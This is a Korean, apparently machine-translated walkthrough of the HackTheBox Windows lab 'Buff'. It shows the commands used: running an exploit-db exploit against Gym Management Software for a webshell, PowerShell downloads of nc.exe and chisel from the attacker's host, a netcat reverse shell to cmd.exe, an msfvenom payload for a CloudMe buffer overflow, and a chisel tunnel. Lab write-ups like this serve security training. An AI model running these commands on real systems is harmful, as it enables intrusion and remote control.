Buff Walk Through ~HackTheBox~

HackTheBox는 무료로 이용할 수 있는 보안 학습 환경으로서는 (개인적으로는) 양질인 것이라고 느끼고 있습니다. HTB 모르는 분은 이하 링크보다.
htps //w w. ck ぇ보 x. 에우/

본 기사에서는 HackTheBox의 Machine 중 Windows의 레벨 easy로 분류되는 Buff의 WalkThrough를 써갑니다.

Buff WalkThrough




IP 주소: 10.10.10.198
기계 이름: 버프
Level: 쉬운

포트 스캔


nmap 10.10.10.198 -Pn -sV -sC -A



포트 스캔에서 Port : 8080으로 웹 서비스가 시작되고 있음을 알 수 있습니다. 액세스해 봅시다.

피트니스 웹 페이지처럼 보입니다. 연락처 탭을 클릭하면 다음과 같은 페이지가 나타납니다.

빨간색 테두리에 주목하십시오.
아마도 사용할 소프트웨어 이름 Gym Management Software 1.0이 표시됩니다.

사용자 플래그



소프트웨어 이름과 버전을 exploit-db에서 검색합니다.
다음 정보가 히트되었습니다.

Exploit 코드를 다운로드할 수 있으므로 다운로드하여 실행합니다.
python gym-exploit.py http://10.10.10.198:8080/

$\tiny{※gym-exploit.py는 exploit 코드의 이름입니다. }$
다음과 같이 webshell을 구축하는 데 성공했습니다.


Webshell을 사용하여 netcat 및 port forwarding에 사용할 exe 파일을 대상 컴퓨터에 다운로드합니다.
이것은 자신이 좋아하는 방법이 될 수 있지만 여기에서는 파이썬 SimpleHTTPServer를 사용합니다.
python -m SimpleHTTPServer <port>

Webshell에서는 다음 두 가지 명령을 실행하여 서버에서 netcat과 chisel을 다운로드합니다.
powershell Invoke-Webrequest -uri http://<your host ip and port>/netcat/nc.exe -OutFile c:\xampp\htdocs\gym\upload\nc.exe
powershell Invoke-Webrequest -uri http://<your host ip and port>/netcat/chisel.exe -OutFile c:\xampp\htdocs\gym\upload\chisel.exe



Kali는 netcat을 청취 모드로 시작하고 대기하고 다운로드 한 netcat을 webshell로 실행합니다.
#kali
nc -lvvnp <port>
#Webshell(Windows)
nc <your kali ip> <your listening port> -e cmd.exe



Shell을 설정할 수 있었습니다.
User flag를 획득하겠습니다.

문제없이 user.txt의 내용을 확인할 수있었습니다.

루트 플래그



root.txt에 액세스하려면 권한 승격을 수행해야 합니다.
대상 컴퓨터 내에서 잠시 산책했을 때 CloudMe_1112.exe라는 실행 파일을 발견했습니다.

exploit-db에서 검색해 보면 버퍼 오버플로 취약점이 있는 것 같습니다.
(대상 머신의 Buf라는 이름은 이것을 암시하는 것 같습니다.)

exploit 코드를 다운로드합니다.
다운로드한 exploit 코드에서는 취약성을 이용하여 임의의 명령을 실행할 수 있는 것 같습니다. 기본적으로 calc.exe(계산기)를 실행하는 코드로 되어 있으므로 msfvenom을 사용하여 코드를 편집합니다.
msfvenom -p windows/exec CMD='c:\xamppp\htdocs\gym\upload\nc.exe <your ip> <listening port> -e cmd.exe' -b '\x00\x0a\x0d' -f python -v payload


생성된 페이로드를 다운로드한 exploit 코드의 페이로드 부분으로 교체합니다.
드디어 exploit 코드를 실행! 하고 싶은 곳입니다만, 터널을 만들지 않으면 타겟 머신은 payload를 받아들이지 않습니다.
여기서 방금 업로드한 chisel을 사용합니다.
#kali
chisel server -p <listening port> -reverse -v
#ターゲットマシン
chisel.exe client <your ip> R:8888:127.0.0.1:8888 -v --keepalive:1000



안전, 터널 개통.
exploit 코드를 실행했을 때의 reverse 통신을 listen하기 위해 payload 작성시에 지정한 listening port를 netcat로 대기.
nc -lvvnp 4444

그런 다음 exploit를 실행하기 만하면됩니다. (1회에서는 성공하지 못할 때가 있습니다. 3, 4회 정도 시험해 주세요. 잘못 되었을 때는 chisel의 출력을 참고로 해 보면 에러 내용을 알 수 있을지도 모릅니다.)
python ./<exploitcode-name>.py

쉘이 설정됩니다. root.txt의 내용을 확인합시다.

무사히 루트 플래그를 획득할 수 있었습니다.
수고하셨습니다.

좋은 웹페이지 즐겨찾기